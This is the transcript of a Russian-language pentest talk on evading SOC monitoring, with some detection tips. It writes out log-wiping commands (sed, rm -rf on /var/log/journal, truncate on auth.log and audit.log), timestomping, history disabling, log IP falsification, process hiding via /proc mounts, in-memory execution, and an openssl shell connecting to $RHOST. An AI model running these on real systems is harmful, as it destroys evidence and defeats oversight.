Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Носок на сок

Sponsored · Your Podcast. Everywhere. Effortlessly. Share. Educate. Inspire. Entertain. You do you. We'll handle the rest.
Avatar for Bo0oM Bo0oM
April 29, 2025

Носок на сок

Большинство крупных организаций, таких как банки или компании в сфере технологий, создают SOC для 24/7 мониторинга и защиты от киберугроз, включая управление инцидентами и устранение уязвимостей. Однако, мы сконцентрируем внимание на том, как адаптировать свои методы в пентесте, чтобы обойти SOC. И в обратную сторону - на что обратить внимание, чтобы обнаружить действия злоумышленника в сети.

Avatar for Bo0oM

Bo0oM

April 29, 2025
Tweet

More Decks by Bo0oM

Other Decks in Programming

Transcript

  1. 2025 Обход логики работы WAF/IDS/DLP Системы, которые ставятся в разрезе

    имеют валидирующие и не валидирующие парсеры. При некорректном парсинге запроса они либо блокируют запрос (нет), либо отправляют его дальше, не проанализировав. Конечный получатель может корректно воспринять запрос с полезной нагрузкой. https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet
  2. 2025 Скрытие веб-шелла http_response_code(404); В частности, при попытке скачать файлы

    сервер отвечает заголовком: Content-Disposition: attachment; filename=”example.file" Однако, поскольку ответ сервера имеет статус HTTP 404, браузер интерпретирует это как ошибку загрузки, что приводит к сообщению: Failed to load resource: the server responded with a status of 404 () Для решения этой проблемы можно использовать JavaScript с функцией fetch(), которая позволяет выполнить запрос к серверу и обработать ответ асинхронно и отдать blob, что приведет к обычной загрузке файла.
  3. 2025 Закрепление в вебе. Метки времени touch -r old_file.php index.php

    touch -t 202501011337 index.php Можно поставить любую дату изменения файла, даже после его фактического изменения https://man7.org/linux/man-pages/man1/touch.1.html
  4. 2025 SOC • Access — время последнего доступа к файлу.

    • Modify — время последнего изменения содержимого файла. • Change — время последнего изменения метаданных файла (например, прав доступа или имени файла). • Birth — время создания файла (если файловая система это поддерживает).
  5. 2025 Закрепление в вебе. Метки времени extstomp -v -macb -T

    '2025-04-29 31:37:00' file.txt extstomp (debugfs) позволяет установить метки времени на уровне файловой системы https://github.com/halpomeranz/extstomp
  6. 2025 Закрепление в вебе. Метки времени set-ntp 0 set-time '2025-04-29

    31:37:00' Можно изменить системную дату, создать новый файл и откатить изменения времени. https://tokmakov.msk.ru/blog/item/763
  7. 2025 SOC Естественно, изменение времени в системе порождает большое количество

    аномалий, сам факт изменения времени, часового пояса должен отслеживаться.
  8. 2025 Запуск команд. Другие пути • Отрубать bash_history (писать пробел+команда

    и unset HISTFILE). Не всегда работает, потому что зависит от настройки HISTCONTROL, триггерит SOC • Можно убивать себя (kill -9 $$) Роскомнадзор, это не то, что ты подумал!
  9. 2025 Запуск команд. Подтираем за собой sed -i '$ d'

    secure; sed -i '$ d' secure; sed -i '$ d' wtmp; sed -i '$ d' wtmp; sed -i '$ d' lastlog; sed -i '$ d' lastlog; cd /var/log/journal; rm -rf *; tail -n 100 "/var/log/auth.log" | wc -c | xargs -I {} truncate "/var/log/auth.log" -s -{}; tail -n 100 "/var/log/audit/audit.log" | wc -c | xargs -I {} truncate "/var/log/audit/audit.log" -s -{}; tail -n 100 "/root/.bash_history" | wc -c | xargs -I {} truncate "/root/.bash_history" -s -{}
  10. 2025 SOC • Access management – 2FA/PAM (например teleport) с

    session recording • Заменяем шелл (sh/bash) на шелл с логированием действий и отправкой данных (syslog) • Ну и вы же не тупые, чтоб мониторить .bash_history, да? • Тру чуваки мониторят системные вызовы типа exec, execve через auditd, eBPF А хакер в свою очередь читает конфигурации auditd
  11. 2025 io_uring https://github.com/armosec/curing Это механизм асинхронного ввода-вывода, который был представлен

    в Linux 5.1. Тула использует io_uring и не использует никаких других системных вызовов, связанных с атакой, что делает его невидимым для инструментов безопасности, которые отслеживают системные вызовы.
  12. 2025 Директория /proc • cmdline - команда и аргументы •

    environ - переменные окружения • status - статус (использование памяти, прерывания и тп) • cwd - смволическая ссылкa на текущую рабочую директорию процесса. • exe - символическая ссылкa на исполняемый файл процесса • /proc/31337/fd - каталог содержащий символические ссылки на файловые дескрипторы, открытые процессом.
  13. 2025 Директория /proc. Скрытие процесса https://dfir.ch/posts/slash-proc/ Можно смонтировать пустую директорию

    поверх пути к /proc/[pid]. Так как команды типа ps, top и прочие опираются на содержимое /proc/, исполняемый файл не будет доступен (исчезнет) в мониторинге процессов
  14. LDD

  15. 2025 Откуда грузятся библиотеки RPATH: (Run-Time Library Search Path) -

    задается при компиляции LD_LIBRARY_PATH: переменная позволяет временно переопределить места поиска библиотек для выбранного процесса. RUNPATH: RUNPATH имеет более высокий приоритет, чем значения из LD_LIBRARY_PATH, но более низкий, чем RPATH.
  16. 2025 Откуда грузятся библиотеки /etc/ld.so.conf: Конфигурация, содержащая пути к библиотекам,

    которые должны быть учтены при загрузке динамических библиотек. И отдельные файлы в каталоге /etc/ld.so.conf.d/ Системные библиотеки: /lib*, /usr/lib, /usr/local/lib, etc LD_PRELOAD: Переменная окружения позволяет указать библиотеку или библиотеки, которые будут загружены перед всеми другими библиотеками. Это может использоваться для переопределения функций в других библиотеках.
  17. 2025 Директория /dev/shm • Директория с разделяемой памятью, равен половине

    объема оперативной памяти. • Доступен всем пользователям и процессам. • Писать туда в десяток раз быстрее (ибо это оперативка). Из минусов – иногда он noexec (ну как и tmp)
  18. 2025 memfd_create, shm_open, fexecve https://github.com/maxvarm/memfd-process-hide/ Использование memfd_create или shm_open для

    создания файла в /dev/shm Использование fexecve для запуска файла в памяти
  19. 2025 Метрики Ты пробил периметр, нашел продуктовую СУБД, цель близка,

    нужно всего лишь… • Дампишь базу - летят вверх метрики по I/O, тебя обнаруживают и выгоняют • Зипуешь - летят метрики по CPU • Передаешь - создаешь аномальный всплеск трафика, большой файл не передашь из-за ограниченного connection timeout
  20. C&C

  21. 2025 OpenSSL https://gtfobins.github.io/gtfobins/openssl/ openssl req -x509 -newkey rsa:4096 -keyout key.pem

    -out cert.pem -days 365 -nodes openssl s_server -quiet -key key.pem -cert cert.pem -port 443 openssl s_client -quiet -connect $RHOST:$RPORT
  22. 2025 Путь воена 1. Арендуешь виртуалку в Yandex Cloud 2.

    Выпускаешь (даже) самоподписанный серт yandex.ru 3. Суешь в /etc/hosts browser.yandex.ru (ну или тип того) 4. И бинарь типа яндекс, ну и радуешься жизни
  23. 2025 Истины 1. Для разведки low and slow - атаки

    (ну типа брут раз в 3 минуты) 2. Пользовательские тачки в приоритете, так как за ними меньше наблюдают и у них больше возможностей и софта 3. Лучше всего в рабочее время 4. Всякие тупые LPE и обходки (типа запуска exe в %TEMP%)))
  24. 2025 Гадости • Если необходимо сгенерить много событий и обнаружение

    неминуемо - можно отвлечь. Исчем куда летят логи (обычно rsyslog на 514). Или стоит vector с коннекторами в условную kafka. • Делаем события которые есть в корреляции СЗИ • Генерируем стотыщ миллионов событий от разных (всех) систем, пускай разбираются. А пока можно что-то быстро брутануть или насрать событий через bloodhund, cme
  25. 2025 Гадости Прикольно удалять логи, но прикольнее их подменять. awk

    '{ for(i=1;i<=NF;i++) { if ($i ~ /([0-9]{1,3}\.){3}[0-9]{1,3}/) { split($i, parts, "."); for (j=1; j<=4; j++) { parts[j] = int(rand() * 256); } $i = parts[1] "." parts[2] "." parts[3] "." parts[4]; } } print }'
  26. 2025 Каналы @s0ld13r_ch @RedTeambro Чуваки @mrvos – Влад @SmartGlue –

    еще один Влад @llcrlf - Каретка @lolk3k - Black Rabbit Спасибо этим дядям